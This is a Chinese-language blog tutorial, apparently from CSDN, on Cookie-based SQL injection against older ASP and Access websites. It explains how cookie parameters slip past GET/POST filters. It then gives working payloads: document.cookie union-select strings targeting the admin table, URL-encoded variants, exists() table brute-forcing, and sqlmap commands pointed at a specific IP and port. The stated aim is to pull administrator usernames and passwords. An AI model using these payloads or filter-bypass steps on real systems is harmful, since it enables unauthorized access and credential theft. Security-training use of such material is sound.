Access-Cookie注入

一、Cookie注入简介

Cookie是代表身份的一串字符,网站根据Cookie来识别身份,如果获取了管理员的Cookie,就可以无需密码直接登陆管理员账号。

Cookie注入原理:
在动态脚本语言中存在超全局变量可以获取多种传参方式(大多数),开发者考虑到多种接受参数,在解释参数的时候也是用多种解释传参的方法。

例如,PHP中的$_REQUEST变量可以获取POST、GET、COOKIE传参

常见的数据库有Access、Mysql、mssql(SqlServer)、Oracle

Cookie注入在老一点的ASP网站常见,PHP看版本,因为在高于5.2以上的PHP版本中,$_REQUEST变量将不再接受cookie传参

早期网站防护只检测GET和POST传参,没有检测COOKIE,所以可以绕过验证

Cookie注入是依靠特殊的传参方式产生的注入

二、设置Cookie

1、在浏览器中设置
谷歌浏览器:F5:Application:Cookie

浏览器设置可能会遇到问题
在这里插入图片描述

2、抓包直接修改

有一点需要注意的是,本地IP127.0.0.1无法被Burp抓包,必须使用分配的IP

在这里插入图片描述

3、使用浏览器插件修改

谷歌浏览器有修改Cookie的插件EditThisCookie,有可能被拦截

在这里插入图片描述

4、浏览器自带Javascript进行设置

谷歌浏览器:F12:Console

Cookie注入最好进行一次编码,与版本有关系

在线URL编码解码

document.cookie #查看当前Cookie

#Cookie名字为 id 
#escape是一个编码函数,会进行一次URL编码
document.cookie="id="+escape("171")

document.cookie="id=169"

在这里插入图片描述

#“+”号是拼接符
#escape是一个编码函数,会进行一次URL编码
#双引号代表字符串内容
document.cookie="id="+escape("171 union select 1,2,3,4,5,6,7,8,9,10 from admin")

三、Cookie注入

一般而言,有两种绕过拦截的方法:
(1)走不被检测的入口
(2)规避规则

先使用插件添加一个新的Cookie
在这里插入图片描述
如果Cookie传参可以影响到页面,意味着存在Cookie传参,并且可以拼接进数据库

在线URL编码解码

Burp中也有URL编码模块Decoder
在这里插入图片描述
COOKIE注入时要删除URL内的id传参,URL里的id传参进去会有一个输出,cookie里也传参了一个id数值,他会优先接受GET的传参,具体看语言,PHP会优先接受Cookie传参.

#Cooike注入,需要URL编码

#注入语句
171 order by 10
#URL编码后,填入Cookie值
171+order+by+10

#检测输出点
#Access是一种较为老旧地数据库,没有库名,只有表和字段
#select 1,2,3是mysql特有的查询语句
#大部分数据库需要正常查询,即select XX from 表名
#猜测表名为admin
#admin表中常有id、username字段
171 union select 1,2,3,4,5,6,7,8,9,10 from admin
#网页编码后
171+union+select+1%2c2%2c3%2c4%2c5%2c6%2c7%2c8%2c9%2c10+from+admin
#使用Burp编码后,本质是相同的
%31%37%31%20%75%6e%69%6f%6e%20%73%65%6c%65%63%74%20%31%2c%32%2c%33%2c%34%2c%35%2c%36%2c%37%2c%38%2c%39%2c%31%30%20%66%72%6f%6d%20%61%64%6d%69%6e

Access数据库,没有系统自带表,而且Access数据库只有一个数据库,不用纠结库名,只能通过爆破获取表名和字段名

在盛行Access数据库的年代,账号密码一般都在admin表的username和password字段中

#爆破表名
#exists()函数是检查子查询能否查询到数据,如果能会就返回True
#即如果页面正常,就是存在该表
#字段名可以通过偏移注入获取
and exists(select * from 表名) 
#在sqlmap中会有常见的表名
#常见的表名:admin、news、job、work、admin_user、user 
#sqlmap\sqlmap-master\data\txt\common-tables.txt
#sqlmap跑表名有时候也是强行爆破

判断网页的数据库(可能):
ASP:Access(接近淘汰)
PHP:Mysql、Oracle、Mssql
ASPX:mssql
JSP:Oracle、Mysql

#是mysql特有的注释
mssql有特有的系统自带库名
oracle有特定的语法

有的站点会伪装后缀,使得他人不能够判断数据库,可以抓包看一下,即查看返回包(Repeater模块)的X-Powered-By标识,当然,有的网站也会处理返回包
在这里插入图片描述

sqlmap跑Cookie注入:

python sqlmap.py -r 1.txt

在这里插入图片描述

python sqlmap.py -u "http://59.6.20.9:8004/shownews.asp" --cookie "id=171" --level 2

sqlmap能跑出来的标识:
在这里插入图片描述
可能存在Cookie注入的网站:
(1)ASP的站点存在可能性极高
(2)PHP版本低于5.3的站点存在可能性极高

当然,Cookie注入并不是优先手段,SQL注入是存在尝试顺序的:
(1)显错注入
(2)报错注入
(3)布尔盲注
(4)时间盲注
(5)宽字节注入
(6)Cookie注入

设置Cookie能够影响到页面的数据,不代表存在SQL注入

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

弈-剑

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值